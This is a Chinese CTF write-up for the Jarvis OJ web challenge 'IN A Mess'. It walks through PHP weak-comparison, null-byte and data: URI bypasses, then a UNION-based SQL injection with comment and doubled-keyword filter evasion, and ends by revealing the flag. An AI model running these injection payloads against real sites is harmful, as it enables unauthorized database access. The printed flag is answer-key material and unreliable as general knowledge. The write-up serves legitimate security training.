Jarvis OJ-IN A Mess
IN A Mess
時間:2018年10月6日 彙報人:王禕潔
題目
題解
進入頁面,發現沒啥,檢視原始碼,發現index.phps
進入後讀程式碼,發現三個引數:a,b,id。
id:id==0
典型的PHP弱比較,利用id=0a
或id=0e123
或id=asd
均可實現繞過
b:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
這裡要求:b的長度大於5,且是基於eregi函式的弱型別,用%00的繞過( strlen函式對%00不截斷但substr截斷)那麼可以令b=%00411111
此處連結一篇部落格可供參考:
a:由data進行賦值:$data = @file_get_contents($a,'r')
而又有$data=="1112 is a nice lab!"
可以利用遠端檔案包含在allow_url_include
開啟時可以使用,但發現對$a
有了.
過濾所以還是data協議比較穩妥
此處連結一篇部落格可供參考:https://blog.csdn.net/lxgwm2008/article/details/38437875
這裡採用的格式是:data:,
最後在位址列輸入id=0e&a=data:,1112 is a nice lab!&b=%00411111
發現 {/^HT2mCpcvOLf} 不像flag,像一個目錄,於是,嘗試在位址列輸入:http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php
發現,跳轉後自動後補id=1
,考慮sql注入
嘗試進行注入,發現此時,簡單過濾了空格,利用/*1*/
繞過,且去除敏感字元
於是有:id=1/*1*/and/*1*/1/*1*/=/*1*/1
顯示正常
id=1/*1*/and/*1*/1/*1*/=/*1*/2
顯示錯誤,存在注入
id=1/*1*/order/*1*/by/*1*/1
顯示正常
id=1/*1*/order/*1*/by/*1*/2
顯示正常
id=1/*1*/order/*1*/by/*1*/3
id=1/*1*/order/*1*/by/*1*/4
顯示錯誤,欄位數為3
下面開始爆資料庫:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(database())%23
得到資料庫名test
接下來開始爆表名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(seselectlect/*12*/group_concat(table_name)/*12*/frfromom/*12*/information_schema.tables/*12*/where/*12*/table_schema=database())%23
得到表名:content
接下來爆列名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/group_concat(column_name)/*12*/frofromm/*12*/information_schema.columns/*12*/where/*12*/table_name=0x636f6e74656e74)%23
得到列名:context
讀取內容:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/context/*12*/frofromm/*1*/content)%23
得到flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}